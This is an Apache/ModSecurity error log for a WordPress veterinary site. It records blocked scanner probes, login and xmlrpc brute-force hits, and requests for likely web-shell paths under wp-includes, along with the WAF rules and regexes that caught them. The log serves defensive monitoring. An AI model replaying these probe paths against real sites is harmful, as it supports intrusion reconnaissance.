[Wed Feb 25 01:00:05.413447 2026] [autoindex:error] [pid 18850:tid 18855] [client 20.203.143.97:23968] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 01:50:22.362788 2026] [:error] [pid 26872:tid 26877] [client 54.37.39.241:51514] [client 54.37.39.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.37.39.241, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ3k3nxLbzvRGuzwKjnnUgAAAEM"]
[Wed Feb 25 02:52:49.331775 2026] [:error] [pid 26872:tid 26881] [client 49.234.192.248:38404] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZ3zgXxLbzvRGuzwKjkcZgAAAEc"]
[Wed Feb 25 03:20:31.972259 2026] [:error] [pid 18551:tid 18556] [client 83.96.201.169:51046] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.96.201.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ35_5ze3xetwo393WWOjwAAAMM"]
[Wed Feb 25 03:43:10.068462 2026] [:error] [pid 20763:tid 20774] [client 217.182.194.2:52226] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZ3_Tk0w_zc13OX-xia5nQAAAMk"]
[Wed Feb 25 03:43:12.388177 2026] [:error] [pid 20658:tid 20672] [client 217.182.194.2:38952] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZ3_UOu8cohhPfsAIFmNxAAAAAU"]
[Wed Feb 25 03:43:14.956716 2026] [:error] [pid 20763:tid 20773] [client 217.182.194.2:38960] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZ3_Uk0w_zc13OX-xia5qQAAAMg"]
[Wed Feb 25 03:43:17.367065 2026] [:error] [pid 20658:tid 20668] [client 217.182.194.2:38966] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZ3_Veu8cohhPfsAIFmN6AAAAAE"]
[Wed Feb 25 03:43:19.824764 2026] [:error] [pid 20763:tid 20779] [client 217.182.194.2:52856] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZ3_V00w_zc13OX-xia5tgAAAM4"]
[Wed Feb 25 03:43:22.166811 2026] [:error] [pid 20763:tid 20770] [client 217.182.194.2:52864] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ3_Wk0w_zc13OX-xia5vgAAAMU"]
[Wed Feb 25 03:43:24.496875 2026] [:error] [pid 20763:tid 20767] [client 217.182.194.2:52880] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZ3_XE0w_zc13OX-xia5wwAAAMI"]
[Wed Feb 25 03:43:26.989612 2026] [:error] [pid 20660:tid 20745] [client 217.182.194.2:52892] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZ3_Xv6o0bjbSJXjrpHDMwAAAJc"]
[Wed Feb 25 03:43:29.487665 2026] [:error] [pid 20763:tid 20770] [client 217.182.194.2:39256] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZ3_YU0w_zc13OX-xia53wAAAMU"]
[Wed Feb 25 03:43:31.980417 2026] [:error] [pid 20658:tid 20688] [client 217.182.194.2:39272] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZ3_Y-u8cohhPfsAIFmOCAAAABU"]
[Wed Feb 25 03:43:34.353203 2026] [:error] [pid 20763:tid 20772] [client 217.182.194.2:39276] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZ3_Zk0w_zc13OX-xia57wAAAMc"]
[Wed Feb 25 03:43:36.815871 2026] [:error] [pid 20660:tid 20738] [client 217.182.194.2:39288] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZ3_aP6o0bjbSJXjrpHDUAAAAJA"]
[Wed Feb 25 03:43:39.364068 2026] [:error] [pid 20763:tid 20767] [client 217.182.194.2:60396] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZ3_a00w_zc13OX-xia6AAAAAMI"]
[Wed Feb 25 03:43:41.842897 2026] [:error] [pid 20763:tid 20770] [client 217.182.194.2:60400] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZ3_bU0w_zc13OX-xia6CQAAAMU"]
[Wed Feb 25 03:43:44.271599 2026] [:error] [pid 20660:tid 20726] [client 217.182.194.2:60412] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZ3_cP6o0bjbSJXjrpHDbwAAAIQ"]
[Wed Feb 25 03:43:46.798357 2026] [:error] [pid 20763:tid 20784] [client 217.182.194.2:60414] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZ3_ck0w_zc13OX-xia6KQAAANM"]
[Wed Feb 25 03:43:49.196105 2026] [:error] [pid 20763:tid 20781] [client 217.182.194.2:38834] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZ3_dU0w_zc13OX-xia6MwAAANA"]
[Wed Feb 25 03:43:51.642690 2026] [:error] [pid 20660:tid 20732] [client 217.182.194.2:38838] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZ3_d_6o0bjbSJXjrpHDhgAAAIo"]
[Wed Feb 25 03:43:54.095623 2026] [:error] [pid 20659:tid 20709] [client 217.182.194.2:38854] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZ3_ej_THK_HtK-Q44LBRQAAAE4"]
[Wed Feb 25 03:43:56.747701 2026] [:error] [pid 20660:tid 20742] [client 217.182.194.2:38868] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZ3_fP6o0bjbSJXjrpHDjwAAAJQ"]
[Wed Feb 25 03:43:59.240933 2026] [:error] [pid 20660:tid 20737] [client 217.182.194.2:42860] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZ3_f_6o0bjbSJXjrpHDlwAAAI8"]
[Wed Feb 25 03:44:01.661497 2026] [:error] [pid 20660:tid 20726] [client 217.182.194.2:42870] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZ3_gf6o0bjbSJXjrpHDpAAAAIQ"]
[Wed Feb 25 03:44:04.218274 2026] [:error] [pid 20763:tid 20769] [client 217.182.194.2:42886] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZ3_hE0w_zc13OX-xia6fAAAAMQ"]
[Wed Feb 25 03:44:47.433906 2026] [:error] [pid 20660:tid 20743] [client 217.182.194.2:42892] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZ3_r_6o0bjbSJXjrpHEGwAAAJU"]
[Wed Feb 25 03:44:49.990834 2026] [:error] [pid 20660:tid 20726] [client 217.182.194.2:38240] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZ3_sf6o0bjbSJXjrpHEHgAAAIQ"]
[Wed Feb 25 03:44:52.572218 2026] [:error] [pid 20763:tid 20771] [client 217.182.194.2:38252] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZ3_tE0w_zc13OX-xia7nQAAAMY"]
[Wed Feb 25 03:44:55.014042 2026] [:error] [pid 20659:tid 20714] [client 217.182.194.2:38260] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZ3_tz_THK_HtK-Q44LB7AAAAFM"]
[Wed Feb 25 03:44:57.407663 2026] [:error] [pid 20659:tid 20719] [client 217.182.194.2:38274] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZ3_uT_THK_HtK-Q44LB8wAAAFg"]
[Wed Feb 25 03:44:59.802275 2026] [:error] [pid 20763:tid 20788] [client 217.182.194.2:54364] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZ3_u00w_zc13OX-xia7ywAAANc"]
[Wed Feb 25 03:45:02.255717 2026] [:error] [pid 20659:tid 20711] [client 217.182.194.2:54378] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZ3_vj_THK_HtK-Q44LB_gAAAFA"]
[Wed Feb 25 03:45:04.849214 2026] [:error] [pid 20658:tid 20685] [client 217.182.194.2:54384] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZ3_wOu8cohhPfsAIFmPAQAAABI"]
[Wed Feb 25 03:45:07.292038 2026] [:error] [pid 20658:tid 20667] [client 217.182.194.2:54394] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZ3_w-u8cohhPfsAIFmPEAAAAAA"]
[Wed Feb 25 03:45:09.809615 2026] [:error] [pid 20763:tid 20773] [client 217.182.194.2:54754] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZ3_xU0w_zc13OX-xia8GwAAAMg"]
[Wed Feb 25 03:45:12.306479 2026] [:error] [pid 20763:tid 20789] [client 217.182.194.2:54762] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZ3_yE0w_zc13OX-xia8JAAAANg"]
[Wed Feb 25 03:45:14.716222 2026] [:error] [pid 20658:tid 20675] [client 217.182.194.2:54768] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZ3_yuu8cohhPfsAIFmPSAAAAAg"]
[Wed Feb 25 03:45:17.329854 2026] [:error] [pid 20763:tid 20769] [client 217.182.194.2:54772] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZ3_zU0w_zc13OX-xia8LwAAAMQ"]
[Wed Feb 25 03:45:19.843901 2026] [:error] [pid 20763:tid 20783] [client 217.182.194.2:36120] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZ3_z00w_zc13OX-xia8QwAAANI"]
[Wed Feb 25 03:45:22.273089 2026] [:error] [pid 20660:tid 20730] [client 217.182.194.2:36126] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZ3_0v6o0bjbSJXjrpHEmQAAAIg"]
[Wed Feb 25 03:45:24.776852 2026] [:error] [pid 20763:tid 20785] [client 217.182.194.2:36132] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZ3_1E0w_zc13OX-xia8SwAAANQ"]
[Wed Feb 25 03:45:27.176630 2026] [:error] [pid 20659:tid 20704] [client 217.182.194.2:36148] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZ3_1z_THK_HtK-Q44LCUQAAAEk"]
[Wed Feb 25 03:45:29.538843 2026] [:error] [pid 20763:tid 20787] [client 217.182.194.2:58654] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZ3_2U0w_zc13OX-xia8UwAAANY"]
[Wed Feb 25 03:45:32.137172 2026] [:error] [pid 20763:tid 20779] [client 217.182.194.2:58660] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZ3_3E0w_zc13OX-xia8YAAAAM4"]
[Wed Feb 25 03:45:34.546969 2026] [:error] [pid 20658:tid 20686] [client 217.182.194.2:58670] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZ3_3uu8cohhPfsAIFmPyQAAABM"]
[Wed Feb 25 03:45:37.056012 2026] [:error] [pid 20763:tid 20783] [client 217.182.194.2:58672] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZ3_4U0w_zc13OX-xia8dAAAANI"]
[Wed Feb 25 03:45:39.662801 2026] [:error] [pid 20763:tid 20787] [client 217.182.194.2:38510] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZ3_400w_zc13OX-xia8fwAAANY"]
[Wed Feb 25 03:45:42.130327 2026] [:error] [pid 20659:tid 20707] [client 217.182.194.2:38516] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZ3_5j_THK_HtK-Q44LCZwAAAEw"]
[Wed Feb 25 04:10:52.181808 2026] [:error] [pid 20763:tid 20783] [client 83.166.155.159:54622] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.166.155.159, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ4FzE0w_zc13OX-xibSOAAAANI"]
[Wed Feb 25 04:32:53.632820 2026] [:error] [pid 60500:tid 60606] [client 74.7.228.152:51796] [client 74.7.228.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.228.152, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ4K9fY9avxuno9KAT_o9AAAA1M"], referer: https://vetstars.com.au/
[Wed Feb 25 05:43:27.441915 2026] [:error] [pid 5620:tid 5681] [client 62.169.28.251:41122] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.169.28.251, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ4bf4Y2LQjtieeRkoaxLwAAAxI"]
[Wed Feb 25 05:53:14.328354 2026] [:error] [pid 20658:tid 20669] [client 98.159.43.123:58823] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZ4dyuu8cohhPfsAIFmqtgAAAAI"]
[Wed Feb 25 05:53:16.377943 2026] [:error] [pid 5619:tid 5641] [client 98.159.43.119:29701] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aZ4dzJFUzdv-0L_F4fu7eQAAAgY"]
